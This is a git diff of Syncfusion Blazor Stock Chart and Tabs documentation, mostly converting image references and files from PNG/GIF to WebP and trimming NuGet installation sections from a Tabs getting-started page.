diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.png b/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.png
deleted file mode 100644
index eed881b531..0000000000
Binary files a/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.png and /dev/null differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.webp b/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.webp
new file mode 100644
index 0000000000..8bc3eca9d9
Binary files /dev/null and b/blazor/stock-chart/images/trendlines/blazor-stock-chart-polynomial-trendline.webp differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-autointerval.PNG b/blazor/stock-chart/images/zooming/stock-chart-autointerval.PNG
deleted file mode 100644
index c7a72112c2..0000000000
Binary files a/blazor/stock-chart/images/zooming/stock-chart-autointerval.PNG and /dev/null differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-autointerval.webp b/blazor/stock-chart/images/zooming/stock-chart-autointerval.webp
new file mode 100644
index 0000000000..e300c7f617
Binary files /dev/null and b/blazor/stock-chart/images/zooming/stock-chart-autointerval.webp differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-pan.PNG b/blazor/stock-chart/images/zooming/stock-chart-pan.PNG
deleted file mode 100644
index 5214d053bd..0000000000
Binary files a/blazor/stock-chart/images/zooming/stock-chart-pan.PNG and /dev/null differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-pan.webp b/blazor/stock-chart/images/zooming/stock-chart-pan.webp
new file mode 100644
index 0000000000..d06751bfa6
Binary files /dev/null and b/blazor/stock-chart/images/zooming/stock-chart-pan.webp differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-scrollbar.PNG b/blazor/stock-chart/images/zooming/stock-chart-scrollbar.PNG
deleted file mode 100644
index bb0d6caa4c..0000000000
Binary files a/blazor/stock-chart/images/zooming/stock-chart-scrollbar.PNG and /dev/null differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-scrollbar.webp b/blazor/stock-chart/images/zooming/stock-chart-scrollbar.webp
new file mode 100644
index 0000000000..5244fff5b7
Binary files /dev/null and b/blazor/stock-chart/images/zooming/stock-chart-scrollbar.webp differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-zoom.PNG b/blazor/stock-chart/images/zooming/stock-chart-zoom.PNG
deleted file mode 100644
index 5e1e067608..0000000000
Binary files a/blazor/stock-chart/images/zooming/stock-chart-zoom.PNG and /dev/null differ
diff --git a/blazor/stock-chart/images/zooming/stock-chart-zoom.webp b/blazor/stock-chart/images/zooming/stock-chart-zoom.webp
new file mode 100644
index 0000000000..b8bb48f4b3
Binary files /dev/null and b/blazor/stock-chart/images/zooming/stock-chart-zoom.webp differ
diff --git a/blazor/stock-chart/last-data-label.md b/blazor/stock-chart/last-data-label.md
index 56e61e868e..7e9df52235 100644
--- a/blazor/stock-chart/last-data-label.md
+++ b/blazor/stock-chart/last-data-label.md
@@ -55,7 +55,7 @@ To enable the last data label, set the [ShowLabel](https://help.syncfusion.com/c
 
 ```
 
-![Last Data Label in Blazor Stock Chart](images/last-value/blazor-stock-chart-last-value-label.png)
+![Last Data Label in Blazor Stock Chart](images/last-value/blazor-stock-chart-last-value-label.webp)
 
 ## Customization
 
@@ -123,4 +123,4 @@ In [StockChartLastDataLabelFont](https://help.syncfusion.com/cr/blazor/Syncfusio
 
 ```
 
-![Last Data Label Customization in Blazor Stock Chart](images/last-value/blazor-stock-chart-last-value-label-customization.png)
+![Last Data Label Customization in Blazor Stock Chart](images/last-value/blazor-stock-chart-last-value-label-customization.webp)
diff --git a/blazor/stock-chart/legend.md b/blazor/stock-chart/legend.md
index 90d110db75..4dc306d5ac 100644
--- a/blazor/stock-chart/legend.md
+++ b/blazor/stock-chart/legend.md
@@ -49,7 +49,7 @@ To display the legend, set the [Visible](https://help.syncfusion.com/cr/blazor/S
 
 ```
 
-![Blazor Stock Chart with legend](images/blazor-stock-chart-legend.png)
+![Blazor Stock Chart with legend](images/blazor-stock-chart-legend.webp)
 
 ## Legend Position
 
@@ -89,7 +89,7 @@ Use the [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Chart
 
 ```
 
-![Blazor Stock Chart with legend position](images/blazor-stock-chart-legend-position.png)
+![Blazor Stock Chart with legend position](images/blazor-stock-chart-legend-position.webp)
 
 The **Custom** position allows placing the legend anywhere within the Stock Chart using x and y coordinates.
 
@@ -130,7 +130,7 @@ The **Custom** position allows placing the legend anywhere within the Stock Char
 
 ```
 
-![Blazor Stock Chart with custom legend position](images/blazor-stock-chart-legend-location.png)
+![Blazor Stock Chart with custom legend position](images/blazor-stock-chart-legend-location.webp)
 
 ## Reverse Legend
 
@@ -177,7 +177,7 @@ Reverse the order of legend items using the [Reversed](https://help.syncfusion.c
 
 ```
 
-![Blazor Stock Chart with legend reversed](images/blazor-stock-chart-legend-reversed.png)
+![Blazor Stock Chart with legend reversed](images/blazor-stock-chart-legend-reversed.webp)
 
 ## Legend Alignment
 
@@ -219,7 +219,7 @@ Use the [Alignment](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Char
 
 ```
 
-![Blazor Stock Chart with legend alignment](images/blazor-stock-chart-legend-alignment.png)
+![Blazor Stock Chart with legend alignment](images/blazor-stock-chart-legend-alignment.webp)
 
 ## Legend Customization
 
@@ -262,7 +262,7 @@ The [LegendShape](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor Stock Chart with legend shape](images/blazor-stock-chart-legend-shape.png)
+![Blazor Stock Chart with legend shape](images/blazor-stock-chart-legend-shape.webp)
 
 ### Legend Size
 
@@ -305,7 +305,7 @@ When placed at the top or bottom, the legend occupies approximately 20%–25% of
 
 ```
 
-![Blazor Stock Chart with legend size](images/blazor-stock-chart-legend-size.png)
+![Blazor Stock Chart with legend size](images/blazor-stock-chart-legend-size.webp)
 
 ### Legend Shape Size
 
@@ -346,7 +346,7 @@ Use the [ShapeHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-![Blazor Stock Chart with legend shape size](images/blazor-stock-chart-legend-size-shape.png)
+![Blazor Stock Chart with legend shape size](images/blazor-stock-chart-legend-size-shape.webp)
 
 ### Legend Item Padding
 
@@ -388,7 +388,7 @@ Use the [ItemPadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-![Blazor Stock Chart with legend item padding](images/Blazor-stock-chart-legend-itemPadding.png)
+![Blazor Stock Chart with legend item padding](images/Blazor-stock-chart-legend-itemPadding.webp)
 
 ### Legend Paging
 
@@ -431,7 +431,7 @@ When legend items exceed the available bounds, paging is enabled automatically.
 
 ```
 
-![Blazor Stock Chart with legend paging](images/blazor-stock-chart-legend-paging.png)
+![Blazor Stock Chart with legend paging](images/blazor-stock-chart-legend-paging.webp)
 
 ### Legend Text Wrap
 
@@ -474,7 +474,7 @@ When legend text exceeds the container, enable wrapping using the [TextWrap](htt
 
 ```
 
-![Blazor Stock Chart with legend text wrap](images/blazor-stock-chart-legend-text-wrap.png)
+![Blazor Stock Chart with legend text wrap](images/blazor-stock-chart-legend-text-wrap.webp)
 
 ## Series selection based on legend
 
@@ -517,7 +517,7 @@ By default, clicking a legend item collapses the visibility of the corresponding
 
 ```
 
-![Blazor Stock Chart with selection mode](images/blazor-stock-chart-selection-mode.png)
+![Blazor Stock Chart with selection mode](images/blazor-stock-chart-selection-mode.webp)
 
 ## Hiding legend item
 
@@ -560,7 +560,7 @@ The series [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor Stock Chart hiding legend item](images/blazor-stock-chart-hidding-legend.png)
+![Blazor Stock Chart hiding legend item](images/blazor-stock-chart-hidding-legend.webp)
 
 ## Legend Template
 
@@ -649,6 +649,6 @@ To use, add a `LegendItemTemplate` inside any [StockChartSeries](https://help.sy
     };
 }
 ```
-![Blazor Stock Chart legend template](images/blazor-stock-chart-legend-template.png)
+![Blazor Stock Chart legend template](images/blazor-stock-chart-legend-template.webp)
 
 
diff --git a/blazor/stock-chart/panning.md b/blazor/stock-chart/panning.md
index c061109ede..1c9328f6eb 100644
--- a/blazor/stock-chart/panning.md
+++ b/blazor/stock-chart/panning.md
@@ -64,6 +64,6 @@ else
 
 ```
 
-![Blazor Stock Chart with Panning](images/panning.gif)
+![Blazor Stock Chart with Panning](images/panning.webp)
 
 N> Refer to the [Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) feature tour page for feature representations and explore the [Blazor Stock Chart example](https://blazor.syncfusion.com/demos/stock-chart/stock-chart?theme=bootstrap5) to see various stock chart types and time-dependent data rendered at equal intervals.
diff --git a/blazor/stock-chart/period-selector.md b/blazor/stock-chart/period-selector.md
index e9aa28f309..36b1e8ad0a 100644
--- a/blazor/stock-chart/period-selector.md
+++ b/blazor/stock-chart/period-selector.md
@@ -87,7 +87,7 @@ Periods is an array of objects that defines the range of [Periods](https://help.
 
 ```
 
-![Blazor Stock Chart with Period Selector](images/common/blazor-stock-chart-period-selector.png)
+![Blazor Stock Chart with Period Selector](images/common/blazor-stock-chart-period-selector.webp)
 
 ## Visibility of period selector
 
@@ -130,4 +130,4 @@ The [EnablePeriodSelector](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 
 ```
 
-![Visibility of Period Selector in Blazor Stock Chart](images/common/blazor-stock-chart-visibility-period-selector.png)
+![Visibility of Period Selector in Blazor Stock Chart](images/common/blazor-stock-chart-visibility-period-selector.webp)
diff --git a/blazor/stock-chart/range-selector.md b/blazor/stock-chart/range-selector.md
index fd89d228fb..74942999a4 100644
--- a/blazor/stock-chart/range-selector.md
+++ b/blazor/stock-chart/range-selector.md
@@ -60,4 +60,4 @@ The following code example shows the [EnableSelector](https://help.syncfusion.co
 
 ```
 
-![Range Selection in Blazor Stock Chart](images/common/blazor-stock-chart-range-selection.png)
+![Range Selection in Blazor Stock Chart](images/common/blazor-stock-chart-range-selection.webp)
diff --git a/blazor/stock-chart/series-types.md b/blazor/stock-chart/series-types.md
index 3d0cdb56d3..71e2acbb0d 100644
--- a/blazor/stock-chart/series-types.md
+++ b/blazor/stock-chart/series-types.md
@@ -51,7 +51,7 @@ To render a line series, set the series [Type](https://help.syncfusion.com/cr/bl
 
 ```
 
-![BLazor Line Stock Chart](images/series-types/blazor-line-stock-chart.png)
+![BLazor Line Stock Chart](images/series-types/blazor-line-stock-chart.webp)
 
 **Spline**
 
@@ -91,7 +91,7 @@ To render a spline series, set the series [Type](https://help.syncfusion.com/cr/
 
 ```
 
-![Blazor Spline Stock Chart](images/series-types/blazor-spline-stock-chart.png)
+![Blazor Spline Stock Chart](images/series-types/blazor-spline-stock-chart.webp)
 
 **HollowCandle**
 
@@ -139,7 +139,7 @@ To render a hilo series, set the series [Type](https://help.syncfusion.com/cr/bl
 
 ```
 
-![Blazor Hilo Stock Chart](images/series-types/blazor-hilo-stock-chart.png)
+![Blazor Hilo Stock Chart](images/series-types/blazor-hilo-stock-chart.webp)
 
 **HiloOpenClose**
 
@@ -183,7 +183,7 @@ To render a HiloOpenClose series, set the series [Type](https://help.syncfusion.
 
 ```
 
-![Blazor Hilo Open Close Stock Chart](images/series-types/blazor-hilo-open-close-stock-chart.png)
+![Blazor Hilo Open Close Stock Chart](images/series-types/blazor-hilo-open-close-stock-chart.webp)
 
 **Candle**
 
@@ -227,4 +227,4 @@ To render a candle series, set the series [Type](https://help.syncfusion.com/cr/
 
 ```
 
-![Blazor Candle Stock Chart](images/common/blazor-candle-stock-chart.png)
+![Blazor Candle Stock Chart](images/common/blazor-candle-stock-chart.webp)
diff --git a/blazor/stock-chart/stock-events.md b/blazor/stock-chart/stock-events.md
index e245e578f5..c65d8d7089 100644
--- a/blazor/stock-chart/stock-events.md
+++ b/blazor/stock-chart/stock-events.md
@@ -132,4 +132,4 @@ The [Description](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Events in Blazor Stock Chart](images/blazor-stock-chart-events.png)
+![Events in Blazor Stock Chart](images/blazor-stock-chart-events.webp)
diff --git a/blazor/stock-chart/tool-tip.md b/blazor/stock-chart/tool-tip.md
index dedecc8d67..578308e97b 100644
--- a/blazor/stock-chart/tool-tip.md
+++ b/blazor/stock-chart/tool-tip.md
@@ -57,7 +57,7 @@ By default, the tooltip is disabled. Enable it by setting the [Enable](https://h
 
 ```
 
-![Blazor Stock Chart with Tooltip](images/common/blazor-stock-chart-tooltip.png)
+![Blazor Stock Chart with Tooltip](images/common/blazor-stock-chart-tooltip.webp)
 
 <!-- markdownlint-disable MD013 -->
 
@@ -151,7 +151,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockC
 
 ```
 
-![Blazor Stock Chart with Custom Tooltip](images/common/blazor-stock-chart-custom-tooltip.png)
+![Blazor Stock Chart with Custom Tooltip](images/common/blazor-stock-chart-custom-tooltip.webp)
 
 ## Tooltip position
 
@@ -207,6 +207,6 @@ By default, the tooltip aligns to the left side of the Stock Chart. To move the
 
 ```
 
-![Blazor Stock Chart with moving tooltip](images/common/blazor-stock-chart-moving-tooltip.gif)
+![Blazor Stock Chart with moving tooltip](images/common/blazor-stock-chart-moving-tooltip.webp)
 
 N> Refer to the [Blazor Stock Charts](https://www.syncfusion.com/blazor-components/blazor-stock-chart) feature tour page for a summary of key features and explore the [Blazor Stock Chart example](https://blazor.syncfusion.com/demos/stock-chart/stock-chart?theme=bootstrap5) to learn about chart types and time based data visualization at equal intervals.
diff --git a/blazor/stock-chart/trend-lines.md b/blazor/stock-chart/trend-lines.md
index e81ba31713..4443267a9d 100644
--- a/blazor/stock-chart/trend-lines.md
+++ b/blazor/stock-chart/trend-lines.md
@@ -67,7 +67,7 @@ A linear trendline is a best‑fit straight line used with simpler data sets. To
 
 ```
 
-![Blazor Stock Chart with Linear Trendline](images/trendlines/blazor-stock-chart-linear-trendline.png)
+![Blazor Stock Chart with Linear Trendline](images/trendlines/blazor-stock-chart-linear-trendline.webp)
 
 ## Logarithmic
 
@@ -127,7 +127,7 @@ To render a logarithmic trendline, set the trendline [Type](https://help.syncfus
 
 ```
 
-![Blazor Stock Chart with Logarithmic Trendline](images/trendlines/blazor-stock-chart-logarithmic-trendline.png)
+![Blazor Stock Chart with Logarithmic Trendline](images/trendlines/blazor-stock-chart-logarithmic-trendline.webp)
 
 ## Exponential
 
@@ -187,7 +187,7 @@ To render an exponential trendline, set the trendline [Type](https://help.syncfu
 
 ```
 
-![Blazor Stock Chart with Exponential Trendline](images/trendlines/blazor-stock-chart-exponential-trendline.png)
+![Blazor Stock Chart with Exponential Trendline](images/trendlines/blazor-stock-chart-exponential-trendline.webp)
 
 ## Polynomial
 
@@ -246,7 +246,7 @@ A polynomial trendline is a curved line used when data fluctuates. To render a p
 
 ```
 
-![Blazor Stock Chart with Polynomial Trendline](images/trendlines/blazor-stock-chart-polynomial-trendline.png)
+![Blazor Stock Chart with Polynomial Trendline](images/trendlines/blazor-stock-chart-polynomial-trendline.webp)
 
 ## Power
 
@@ -310,7 +310,7 @@ The `Period` property defines the period used to calculate the moving average.
 
 ```
 
-![Blazor Stock Chart with Moving Average Trendline](images/common/blazor-stock-chart-moving-average-trendlines.png)
+![Blazor Stock Chart with Moving Average Trendline](images/common/blazor-stock-chart-moving-average-trendlines.webp)
 
 ## Customization of Trendline
 
@@ -358,4 +358,4 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockC
 
 ```
 
-![Blazor Stock Chart with Custom Trendline](images/common/blazor-stock-chart-custom-trendline.png)
+![Blazor Stock Chart with Custom Trendline](images/common/blazor-stock-chart-custom-trendline.webp)
diff --git a/blazor/stock-chart/working-with-data.md b/blazor/stock-chart/working-with-data.md
index 9e662414b9..6a07fdfd9d 100644
--- a/blazor/stock-chart/working-with-data.md
+++ b/blazor/stock-chart/working-with-data.md
@@ -60,7 +60,7 @@ properties.
 
 ```
 
-![Binding Local Data in Blazor Stock Chart](images/common/blazor-stock-chart-bind-local-data.png)
+![Binding Local Data in Blazor Stock Chart](images/common/blazor-stock-chart-bind-local-data.webp)
 
 N> By default, [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) uses **BlazorAdaptor** for list data binding.
 
@@ -102,7 +102,7 @@ Stock Chart is a generic component strongly bound to a model type. When the mode
 
 ```
 
-![Blazor Stock Chart with ExpandoObject](images/common/blazor-stock-chart-expando.png)
+![Blazor Stock Chart with ExpandoObject](images/common/blazor-stock-chart-expando.webp)
 
 ### DynamicObject binding
 
@@ -167,7 +167,7 @@ Stock Chart supports **DynamicObject** as a data source when the model type is u
 
 ```
 
-![Blazor Stock Chart with Dynamic Object](images/common/blazor-stock-chart-dynamic.png)
+![Blazor Stock Chart with Dynamic Object](images/common/blazor-stock-chart-dynamic.webp)
 
 ## Remote Data
 
@@ -199,7 +199,7 @@ Stock Chart supports **DynamicObject** as a data source when the model type is u
 
 ```
 
-![Binding OData in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.png)
+![Binding OData in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.webp)
 
 ### Binding with OData v4 services
 
@@ -229,7 +229,7 @@ The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 
 ```
 
-![Binding OData v4 Adaptor in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.png)
+![Binding OData v4 Adaptor in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.webp)
 
 ### Web API
 
@@ -259,7 +259,7 @@ The [WebApiAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 
 ```
 
-![Binding Remote Data in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.png)
+![Binding Remote Data in Blazor Stock Chart](images/common/blazor-stock-chart-bind-remote-data.webp)
 
 ## Observable collection
 
@@ -316,7 +316,7 @@ The [ObservableCollection](https://learn.microsoft.com/en-us/dotnet/api/system.c
 
 ```
 
-![Blazor Chart with Web API Binding](images/common/blazor-stock-chart-observable-collection.png)
+![Blazor Chart with Web API Binding](images/common/blazor-stock-chart-observable-collection.webp)
 
 ## Entity Framework
 
@@ -622,7 +622,7 @@ When no data is available to render in the stock chart, the [NoDataTemplate](htt
 
 ```
 
-![No Data Template in Blazor Stock Chart](images/common/blazor-stock-chart-no-data-template.gif)
+![No Data Template in Blazor Stock Chart](images/common/blazor-stock-chart-no-data-template.webp)
 
 ## See Also
 
diff --git a/blazor/stock-chart/zooming.md b/blazor/stock-chart/zooming.md
index 65d70c745b..802d4c260f 100644
--- a/blazor/stock-chart/zooming.md
+++ b/blazor/stock-chart/zooming.md
@@ -68,7 +68,7 @@ The stock chart supports three zooming interactions:
 
 ```
 
-![Zooming in Blazor Stock Chart](images/zooming/stock-chart-zoom.PNG)
+![Zooming in Blazor Stock Chart](images/zooming/stock-chart-zoom.webp)
 
 After zooming, the toolbar appears with options for **Zoom**, **Zoom In**, **Zoom Out**, **Pan**, and **Reset**. Pan enables panning of the chart, and Reset restores the original view.
 
@@ -132,7 +132,7 @@ There are three modes:
 
 ```
 
-![Horizontal Zooming in Blazor Stock Chart](images/zooming/stock-chart-zoom.PNG)
+![Horizontal Zooming in Blazor Stock Chart](images/zooming/stock-chart-zoom.webp)
 
 ## Toolbar
 
@@ -190,7 +190,7 @@ By default, Zoom In, Zoom Out, Pan, and Reset buttons appear in the toolbar afte
 
 ```
 
-![Zooming Option in Blazor Stock Chart Toolbar](images/zooming/stock-chart-zoom.PNG)
+![Zooming Option in Blazor Stock Chart Toolbar](images/zooming/stock-chart-zoom.webp)
 
 ## Enable pan
 
@@ -246,7 +246,7 @@ Use the [EnablePan](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Char
 
 ```
 
-![Zooming with Pan in Blazor Stock Chart Toolbar](images/zooming/stock-chart-pan.PNG)
+![Zooming with Pan in Blazor Stock Chart Toolbar](images/zooming/stock-chart-pan.webp)
 
 ## Enable scrollbar
 
@@ -303,7 +303,7 @@ Use the [EnableScrollbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazo
 
 ```
 
-![Zooming with Scrollbar in Blazor Stock Chart](images/zooming/stock-chart-scrollbar.PNG)
+![Zooming with Scrollbar in Blazor Stock Chart](images/zooming/stock-chart-scrollbar.webp)
 
 ## Auto interval on zooming
 
@@ -360,6 +360,6 @@ Set [EnableAutoIntervalOnZooming](https://help.syncfusion.com/cr/blazor/Syncfusi
 
 ```
 
-![Auto Interval on Zooming in Blazor Area Chart](images/zooming/stock-chart-autointerval.PNG)
+![Auto Interval on Zooming in Blazor Area Chart](images/zooming/stock-chart-autointerval.webp)
 
 N> Refer to the [Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) feature tour page for feature overviews and the [Blazor Stock Chart example](https://blazor.syncfusion.com/demos/stock-chart/stock-chart?theme=bootstrap5) to explore chart types and time based data representation.
diff --git a/blazor/tabs/animations.md b/blazor/tabs/animations.md
index e9fe499283..540674f9ea 100644
--- a/blazor/tabs/animations.md
+++ b/blazor/tabs/animations.md
@@ -125,4 +125,4 @@ The sample demonstrates some types of animation that suits our Tabs. Check all t
 }
 ```
 
-![Blazor Tabs with Animation](./images/blazor-tabs-animation.gif)
\ No newline at end of file
+![Blazor Tabs with Animation](./images/blazor-tabs-animation.webp)
\ No newline at end of file
diff --git a/blazor/tabs/drag-and-drop.md b/blazor/tabs/drag-and-drop.md
index c7c4c6cd58..92cd568fd1 100644
--- a/blazor/tabs/drag-and-drop.md
+++ b/blazor/tabs/drag-and-drop.md
@@ -61,4 +61,4 @@ N> External drag and drop is not possible in blazor Tabs.
 
  ```
 
-![Drag and Drop Items in Blazor Tabs](./images/blazor-tabs-drag-drop-items.gif)
\ No newline at end of file
+![Drag and Drop Items in Blazor Tabs](./images/blazor-tabs-drag-drop-items.webp)
\ No newline at end of file
diff --git a/blazor/tabs/getting-started-webapp.md b/blazor/tabs/getting-started-webapp.md
index e1f176324e..1b68b35716 100644
--- a/blazor/tabs/getting-started-webapp.md
+++ b/blazor/tabs/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfTab>
     <TabItems>
         <TabItem Content="Twitter is an online social networking service that enables users to send and read short 140-charactermessages called tweets.Registered users can read and post tweets, but those who are unregistered can only readthem.Users access Twitter through the website interface, SMS or mobile device app Twitter Inc. is based in SanFrancisco and has more than 25 offices around the world.Twitter was created in March 2006 by Jack Dorsey,Evan Williams, Biz Stone, and Noah Glass and launched in July 2006. The service rapidly gained worldwide popularity,with more than 100 million users posting 340 million tweets a day in 2012.The service also handled 1.6 billionsearch queries per day.">
@@ -192,7 +194,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBJNWKNzICuUXkm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs Component](./images/blazor-tabs.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBJNWKNzICuUXkm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs Component](./images/blazor-tabs.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Tabs).
 
@@ -207,6 +209,8 @@ The following code explains how to initialize tab content using `ContentTemplate
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfTab>
     <TabItems>
         <TabItem>
@@ -239,7 +243,7 @@ The following code explains how to initialize tab content using `ContentTemplate
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLfjWqNJeVdyLDk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Template](./images/blazor-tabs-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLfjWqNJeVdyLDk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Template](./images/blazor-tabs-template.webp)" %}
 
 ## Two way binding of SelectedItem
 
@@ -291,7 +295,7 @@ Selected Tab
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBzDCgNzyqUhxZn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Data Binding](./images/blazor-tabs-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBzDCgNzyqUhxZn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Data Binding](./images/blazor-tabs-data-binding.webp)" %}
 
 ## See also
 
diff --git a/blazor/tabs/getting-started.md b/blazor/tabs/getting-started.md
index e8027d1b94..1d11a659cb 100644
--- a/blazor/tabs/getting-started.md
+++ b/blazor/tabs/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Tabs Component
 
-This section briefly explains about how to include [Blazor Tabs](https://www.syncfusion.com/blazor-components/blazor-tabs) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Tabs component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Tabs) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs](https://www.syncfusion.com/blazor-components/blazor-tabs) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with Blazor Tabs component, refer to this [GitHub](https://
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-To add the **Blazor Tabs** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
